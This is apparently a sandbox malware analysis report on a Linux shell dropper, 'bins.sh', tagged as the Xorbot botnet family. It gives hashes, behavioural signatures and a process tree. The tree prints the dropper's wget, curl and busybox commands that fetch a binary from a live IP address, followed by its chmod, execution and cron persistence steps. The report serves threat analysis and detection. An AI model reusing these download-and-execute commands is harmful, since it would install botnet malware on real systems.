Analysis
-
max time kernel
149s -
max time network
153s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04/12/2024, 22:45
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
efbcf30c8abd1e80a0dd54b19276ebf5
-
SHA1
6f341a5f8e20188054977b1993d671020cfcf8b7
-
SHA256
d1f0c8c0899eb6c4fb7602943cb2483daebfa5ec71a7e196cd01cca5beb0a597
-
SHA512
a1c6d5a9aa4331810201275dce569e5667f2ac12fc376ca47696c2dd078d8c17853f196dd13ed3ac8f4f7661680f35db02f2310433daf9753face3853446d1fa
-
SSDEEP
192:9jrrX8D8I1NlsogS68ApxXhrX8Dh1NlsoxK8Ax:FrrX8D8hS68ApxRrX8D5K8Ax
Malware Config
Signatures
-
resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1482 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN 1483 KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN -
Renames itself 1 IoCs
pid Process 1484 KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.KkAW6A crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/25/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/157/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1150/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1463/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1538/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1585/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1108/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/476/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1278/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1541/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/7/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/423/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/439/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/500/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/532/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1269/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1468/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1499/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1517/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/592/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1164/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1509/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1543/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/115/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1324/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1526/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1059/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1513/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1559/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/160/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1135/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1576/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/10/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/338/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/875/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1504/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1553/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/35/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1147/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1547/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1565/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1582/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/82/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/154/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1511/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1569/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1571/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/5/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/665/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/910/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1046/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1500/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/163/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/411/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1560/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1584/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1592/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1535/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1587/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/85/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/155/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1048/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1508/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1512/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN wget File opened for modification /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN curl File opened for modification /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1465
-
/bin/rm/bin/rm bins.sh2⤵PID:1466
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵
- Writes file to tmp directory
PID:1467
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵
- Writes file to tmp directory
PID:1480
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵
- Writes file to tmp directory
PID:1481
-
-
/bin/chmodchmod 777 KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵
- File and Directory Permissions Modification
PID:1482
-
-
/tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN./KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1483 -
/bin/shsh -c "crontab -l"3⤵PID:1485
-
/usr/bin/crontabcrontab -l4⤵PID:1486
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1487
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1488
-
-
-
-
/bin/rmrm KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵PID:1498
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo72⤵PID:1501
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
210B
MD5c2d2e0649bc1038eeb4e06e94389386a
SHA104a739ab9483b293bcd58f1c40bc31d67087f111
SHA256f08e52cf506ecd1773f6c3db908c4e801cfd64711596f91d8382f713051c0ebe
SHA512619ca81506b52ac5ffaa07fa46d6c7a83916e1343dec8a379af264ec4bfb473f6bbdfdc8a4a0565c34bc78095f74382c471ceed5bf7484f53edd0980771d9758